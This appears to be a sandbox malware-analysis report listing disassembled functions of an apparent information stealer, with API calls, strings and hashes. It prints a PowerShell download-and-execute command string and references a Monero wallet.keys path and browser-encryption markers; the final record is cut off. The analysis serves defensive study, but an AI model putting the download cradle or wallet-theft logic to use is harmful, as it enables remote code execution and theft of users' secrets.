Instruction ID: 75236872ca2ac127accd5167d71d1d24c423704d6e990a9f06318609d59db5b4
Opcode Fuzzy Hash: f61cc94c0e2ef63638a52eb0b284986b3fe801101218adb32a42f64cdffa048c
Instruction Fuzzy Hash: 5FF03A34D84209EFD358DFE0B509B6C7BB4FF04703F1402A8E61A8B284DA754AC19B95

Function 00FA4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FA4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00FA4FD1
InternetOpenA.WININET(00FC0DDF,00000000,00000000,00000000,00000000), ref: 00FA4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00FA5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00FA5041
InternetCloseHandle.WININET(?), ref: 00FA50B9
InternetCloseHandle.WININET(?), ref: 00FA50C6

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 9c2a4da06800980166f3e46ea85776f42a2374e9f51e9a8e8e10ef21d8e84de7
Instruction ID: 43d0fda1064666207b0e696c624fb3d764ffba9e576fa062103a9d725c87ddba
Opcode Fuzzy Hash: 9c2a4da06800980166f3e46ea85776f42a2374e9f51e9a8e8e10ef21d8e84de7
Instruction Fuzzy Hash: F23108F5A40218ABDB24CF94DC85BDCB7B4EB48704F1081E8F709A7284C7746AC59F99

Function 00FB8100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,008CDE48,00000000,?,00FC0E2C,00000000,?,00000000), ref: 00FB8130
RtlAllocateHeap.NTDLL(00000000), ref: 00FB8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00FB8158
wsprintfA.USER32 ref: 00FB81AC

Strings

@, xrefs: 00FB814D
%d MB, xrefs: 00FB81A3

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 02482d7aad38b8ccd39baf90604e3698117bc2807419daf191ea370eb28f2def
Instruction ID: 550abe241d239d863cfb77b55e62cf1b5a60d1b5580e83aafdde2eca7c61ea98
Opcode Fuzzy Hash: 02482d7aad38b8ccd39baf90604e3698117bc2807419daf191ea370eb28f2def
Instruction Fuzzy Hash: 2A2129B1E44208ABDB14DFD5DC49FAEBBB8EB44B50F104119F615BB280D77859018BA5

Function 00FB83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00FB8426
wsprintfA.USER32 ref: 00FB8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00FB847B
RegCloseKey.ADVAPI32(00000000), ref: 00FB848C
RegCloseKey.ADVAPI32(00000000), ref: 00FB8499

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

RegQueryValueExA.ADVAPI32(00000000,008CDE90,00000000,000F003F,?,00000400), ref: 00FB84EC
lstrlen.KERNEL32(?), ref: 00FB8501
RegQueryValueExA.ADVAPI32(00000000,008CE0A0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00FC0B34), ref: 00FB8599
RegCloseKey.ADVAPI32(00000000), ref: 00FB8608
RegCloseKey.ADVAPI32(00000000), ref: 00FB861A

Strings

%s\%s, xrefs: 00FB844D

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: ebea88796d50408731898c90e232dd26fd6f621d7acc76daa0e8b8b588d1693a
Instruction ID: f219e54a6b0b00e434d20bfbab8e79bb6f5dc55681b9881659ae2995d623402a
Opcode Fuzzy Hash: ebea88796d50408731898c90e232dd26fd6f621d7acc76daa0e8b8b588d1693a
Instruction Fuzzy Hash: AA210A71900218ABDB24DB94DC85FE9B7B9FF48700F00C1A8A60997140DF71AAC6CFE4

Function 00FB7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FB76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00FB76AB
RegOpenKeyExA.ADVAPI32(80000002,008BC3F0,00000000,00020119,00000000), ref: 00FB76DD
RegQueryValueExA.ADVAPI32(00000000,008CDFB0,00000000,00000000,?,000000FF), ref: 00FB76FE
RegCloseKey.ADVAPI32(00000000), ref: 00FB7708

Strings

Windows 11, xrefs: 00FB76BD

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: a21ac8ec95813d9f342f3ab82b26fcd6f92a803de96ec73fc9f8ed3a6e0b7c0f
Instruction ID: 5e512e31aa1704307265657c0f5e1dd78756a94040fc7300248268f9690327f9
Opcode Fuzzy Hash: a21ac8ec95813d9f342f3ab82b26fcd6f92a803de96ec73fc9f8ed3a6e0b7c0f
Instruction Fuzzy Hash: ED01A2B5A44308BBD714EBE1EC49FADB7F8EF48701F104064FA15DB284DA7099409F50

Function 00FB7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FB7734
RtlAllocateHeap.NTDLL(00000000), ref: 00FB773B
RegOpenKeyExA.ADVAPI32(80000002,008BC3F0,00000000,00020119,00FB76B9), ref: 00FB775B
RegQueryValueExA.ADVAPI32(00FB76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00FB777A
RegCloseKey.ADVAPI32(00FB76B9), ref: 00FB7784

Strings

CurrentBuildNumber, xrefs: 00FB7771

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: abcebfa7b30df13ef1228b0435e4656208e16e2cd85c33c5ea69c43308ca21f8
Instruction ID: 5f135b96d455cb389e4fd47cfc2ab376af2ca4a43ef2e71492d967268e09b850
Opcode Fuzzy Hash: abcebfa7b30df13ef1228b0435e4656208e16e2cd85c33c5ea69c43308ca21f8
Instruction Fuzzy Hash: D10144B5E40308BBDB14DBE0EC4AFAEB7B8EF44701F104168FA15AB285DA755541CF51

Function 00FA99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FA99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FA9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00FA9A31
ReadFile.KERNEL32(000000FF,?,00000000,00FA148F,00000000), ref: 00FA9A5A
LocalFree.KERNEL32(00FA148F), ref: 00FA9A90
CloseHandle.KERNEL32(000000FF), ref: 00FA9A9A

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: b3b6a20659fed46eef22d82d3441b044428554ccc77982caea0d8c30710789ca
Instruction ID: 53495c6ae66149299e916ba0afc69e67b4488498e5b74ded6bad61b5c9a156f7
Opcode Fuzzy Hash: b3b6a20659fed46eef22d82d3441b044428554ccc77982caea0d8c30710789ca
Instruction Fuzzy Hash: E4311AB4E00209EFDB24CF94D885BAE77F5FF49310F108169E915AB290D778A981DFA0

Function 00FB4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,008CE298), ref: 00FB47DB

Part of subcall function 00FB8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FB8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FB4801
lstrcat.KERNEL32(?,?), ref: 00FB4820
lstrcat.KERNEL32(?,?), ref: 00FB4834
lstrcat.KERNEL32(?,008BB958), ref: 00FB4847
lstrcat.KERNEL32(?,?), ref: 00FB485B
lstrcat.KERNEL32(?,008CDA80), ref: 00FB486F

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FB8D90: GetFileAttributesA.KERNEL32(00000000,?,00FA1B54,?,?,00FC564C,?,?,00FC0E1F), ref: 00FB8D9F

Part of subcall function 00FB4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00FB4580
Part of subcall function 00FB4570: RtlAllocateHeap.NTDLL(00000000), ref: 00FB4587
Part of subcall function 00FB4570: wsprintfA.USER32 ref: 00FB45A6
Part of subcall function 00FB4570: FindFirstFileA.KERNEL32(?,?), ref: 00FB45BD

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 46411a5afb1e7a41b7a972c40419194012a6298d8d644afb2f3087909cd0101b
Instruction ID: 3ea9ef3a05f8ed086f97a5cdf852aa1abeef62961dbae1f3ee76420047f1a0d5
Opcode Fuzzy Hash: 46411a5afb1e7a41b7a972c40419194012a6298d8d644afb2f3087909cd0101b
Instruction Fuzzy Hash: 983173B690021867DB24F7F0DC85EE973BCAB48700F404599B31596081EE7897C9DF95

Function 00FB2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

ShellExecuteEx.SHELL32(0000003C), ref: 00FB2D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00FB2D04
<, xrefs: 00FB2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00FB2CC4
')", xrefs: 00FB2CB3

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: add408f62b8ad0cb646d75c514cb2477765c36237dbd05dfd85e1494f7e96bd4
Instruction ID: 5fb1f2638cbe59c0d03efa8ec98fa6fc889f6ed73f6a5f4359725616ad9edac9
Opcode Fuzzy Hash: add408f62b8ad0cb646d75c514cb2477765c36237dbd05dfd85e1494f7e96bd4
Instruction Fuzzy Hash: E4419071D10208EADB18EFA1DCA2FDDB778AF14300F504119E116B7591DF786A4AEF92

Function 00FA9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00FA9F41

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Strings

v10, xrefs: 00FA9EA3
ERROR_RUN_EXTRACTOR, xrefs: 00FA9E67
v20, xrefs: 00FA9E21
@, xrefs: 00FA9EF1

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 632f54f45bf964beb9efa1fd76b42fecdfbc03b8baef61c8ec2488f19f9bdec0
Instruction ID: 2544fe42d78896955f3c0b7eaa57d0679ca8df58c72e984d08b4a6d8cca9f709
Opcode Fuzzy Hash: 632f54f45bf964beb9efa1fd76b42fecdfbc03b8baef61c8ec2488f19f9bdec0
Instruction Fuzzy Hash: 95613075A00248EFDB24EFA5CD96FED77B9AF45300F008418F9095B581EF78AA05DB52

Function 00FB40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,008CDBE0,00000000,00020119,?), ref: 00FB40F4
RegQueryValueExA.ADVAPI32(?,008CE1C0,00000000,00000000,00000000,000000FF), ref: 00FB4118
RegCloseKey.ADVAPI32(?), ref: 00FB4122
lstrcat.KERNEL32(?,00000000), ref: 00FB4147
lstrcat.KERNEL32(?,008CE3A0), ref: 00FB415B

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 28a473cef3a0fa433a7f984ca643b699bfa204466829582417da6f73d01d8db6
Instruction ID: 083c949805f055b8f88049d85d223cf5cb1ae77b36247bd6f0a65adb686fb745
